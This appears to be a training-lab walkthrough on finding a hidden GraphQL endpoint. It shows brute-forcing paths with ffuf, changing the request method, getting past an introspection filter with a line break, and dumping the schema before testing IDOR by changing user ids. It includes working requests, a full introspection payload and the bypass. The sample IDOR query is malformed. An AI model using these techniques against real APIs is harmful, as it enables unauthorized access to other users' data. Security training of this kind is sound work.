GraphQL Lab - Finding Hidden Endpoint with Defense Bypass
Quick guide to find hidden GraphQL endpoints and bypass introspection defenses.
Quick guide to find hidden GraphQL endpoints and bypass introspection defenses.
Step 1: Find the Endpoint#
Login page has no GraphQL#
We go to /login but there's no GraphQL endpoint visible.
Brute force GraphQL paths#
Use a wordlist to find hidden endpoints.
Using ffuf:
ffuf -w graphql.txt -u https://target.com/FUZZ -mc allUsing Burp Intruder:
- Send
/loginrequest to Intruder - Clear all positions
- Add position:
GET /§FUZZ§ - Load
graphql.txtwordlist - Start attack
Results found:#
/api → Status 405 ✅
/graphql → Status 404
/graphql/v1 → Status 404
/gql → Status 404Status 405 = Method Not Allowed
This means /api exists but doesn't accept POST!
Step 2: Change HTTP Method#
Problem: POST not allowed#
POST /api HTTP/1.1Response: 405 Method Not Allowed
Solution: Try GET#
In Burp Repeater:
- Right-click
- "Change request method"
- POST → GET
New request:#
GET /api HTTP/1.1Step 3: Add Content-Type Header#
Even with GET, we need the right content type.
Add this header:#
GET /api HTTP/1.1
Content-Type: application/jsonStep 4: Build GraphQL GET Request#
GET request structure for GraphQL:#
GET /api?query={...} HTTP/1.1Our test query:#
GET /api?csrf=wfwJ16MsSaufVy47mvEJ7A0MItQnLilt&username=anas&password=anas HTTP/1.1
Content-Type: application/jsonNote: The CSRF token and credentials might already be in the URL.
Step 5: Test Introspection (Blocked!)#
Go to Burp → GraphQL Tab#
Try basic introspection:#
query{__schema{queryType{name}}}Response: Blocked! 🚫
The API has defensive mechanisms enabled.
Step 6: Bypass Defense Mechanisms#
Now we test different bypass techniques.
Test 1: Add Space ❌#
query{__schema {queryType{name}}}Result: Still blocked
Test 2: Add Newline \n ❌#
query{__schema\n{queryType{name}}}Result: Still blocked
Test 3: Add Line Break ✅#
query{__schema
{queryType{name}}}Result: IT WORKS! ✅
Test 4: Add Comma ❌#
query{__schema,{queryType{name}}}Result: Blocked
Winner: Line Break Method!#
The defense is bypassed by adding a real line break (not \n).
Step 7: Full Introspection Query#
Now we use the full introspection with the bypass.
Get the payload from:#
https://github.com/swisskyrepo/PayloadsAllTheThingsThe full query with bypass:#
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
query IntrospectionQuery {
__schema
{
queryType {
name
}
mutationType {
name
}
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}IMPORTANT: The Bypass Trick#
Notice the line break here:
query IntrospectionQuery {
__schema
{There's a line break between __schema and {
This bypasses the defense!
Step 8: Save the Response#
Copy the entire response#
You'll get a huge JSON response with all schema details.
Save it as a file:#
response.jsonStep 9: Load in InQL Extension#
In Burp Suite:#
- Go to InQL tab
- Click Load from file
- Select
response.json - Click Open
InQL will show:#
- All Queries
- All Mutations
- All Types
- All Fields
Step 10: Analyze and Exploit#
Now you can see everything:#
Queries found:
getUser(id: Int!)getAllUsersgetBlogPost(id: Int!)
Sensitive fields found:
passwordemailtokenapiKey
Test IDOR:#
query getUser {
getUser(id: Int!) {
id
username
}
}change the Int! to a values like 1 2 3 .....ect
Change id to access other users!
Summary#
Attack Flow:#
1. Login page has no GraphQL
2. Brute force paths → Found /api (405)
3. Change POST to GET
4. Add Content-Type: application/json
5. Test introspection → Blocked
6. Try bypass methods:
- Space ❌
- Newline ❌
- Line break ✅
- Comma ❌
7. Use full introspection with line break
8. Save response to response.json
9. Load in InQL extension
10. Analyze schema and exploit IDORKey Points#
Finding Hidden Endpoints:#
- Brute force with wordlists
- Status 405 = endpoint exists but wrong method
- Try GET if POST fails
Bypassing Defenses:#
- Try different characters between
__schemaand{ - Line break worked in this lab
- Each API might need different bypass
Tools Used:#
- ffuf or Burp Intruder for endpoint discovery
- Burp GraphQL Tab for testing
- InQL Extension for schema analysis
- PayloadsAllTheThings for introspection queries
Happy Hunting!